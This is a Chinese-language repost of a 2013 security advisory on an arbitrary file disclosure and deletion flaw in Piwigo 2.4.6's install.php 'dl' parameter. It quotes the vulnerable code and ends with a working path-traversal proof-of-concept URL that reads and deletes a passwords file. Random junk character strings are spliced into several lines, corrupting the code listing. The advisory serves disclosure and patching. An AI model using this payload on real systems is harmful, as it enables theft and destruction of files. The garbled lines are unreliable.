Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
* N2 \' K4 j7 |- H115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
- E# A( [- Z! I- \8 U1 a$ A118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
7 O3 l) n$ u1 E120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
9 E& U, _3 Z: _2 v7 q122:   unlink($filename);
123:   exit();
/ a8 j4 x# O( m- ?) X' X7 R124: }
, I, s" E! ^8 q& A+ c# f9 w====================================================================
  |; n) Z. i& K9 B7 U4 t- C
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
0 y2 F2 Z; A- L/ `& |           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
1 @* \; S/ f9 o2 K4 ^! f                            @zeroscience

# R! `7 L) q. L3 [0 _7 |Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
  N9 f* G8 p' {* H& G; h
! Y' u  G& t" J) k6 e1 Q% \2 @8 x15.02.2013

--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt